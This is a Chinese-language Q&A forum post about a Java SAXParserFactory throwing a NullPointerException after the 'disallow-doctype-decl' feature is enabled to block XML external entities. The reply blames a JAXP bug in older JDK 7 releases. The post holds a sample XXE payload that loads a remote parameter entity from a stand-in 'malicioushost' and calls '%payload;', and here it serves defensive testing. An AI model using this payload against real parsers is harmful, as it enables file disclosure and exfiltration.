2014-03-05 38 views
1

我已经将SAXParserFactory上的“http://apache.org/xml/features/disallow-doctype-decl”功能设置为true,并且在解析包含外部实体的xml时收到NullPointerException。当阻止doctype功能时获取NullPointerException

代码:

SAXParserFactory spf = SAXParserFactory.newInstance(); 
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 

XML:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "http://malicioushost/xxe.xml" > %remote; %payload;]> 

错误:

Caused by: java.lang.NullPointerException: null 
at com.sun.org.apache.xerces.internal.impl.dtd.XMLDTDProcessor.startDTD(XMLDTDProcessor.java:679) ~[na:1.7.0] 
at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDTDInternalSubset(XMLDTDScannerImpl.java:341) ~[na:1.7.0] 
at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.dispatch(XMLDocumentScannerImpl.java:1098) ~[na:1.7.0] 
at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.next(XMLDocumentScannerImpl.java:1047) ~[na:1.7.0] 

有谁知道应该做些什么额外的设置,以避免NPE?

我使用的Java版本:1.7.0_51

回答

1

这之前是在JAXP RI已知bug在JDK版本7u6(B15)。升级JDK应该可以解决问题。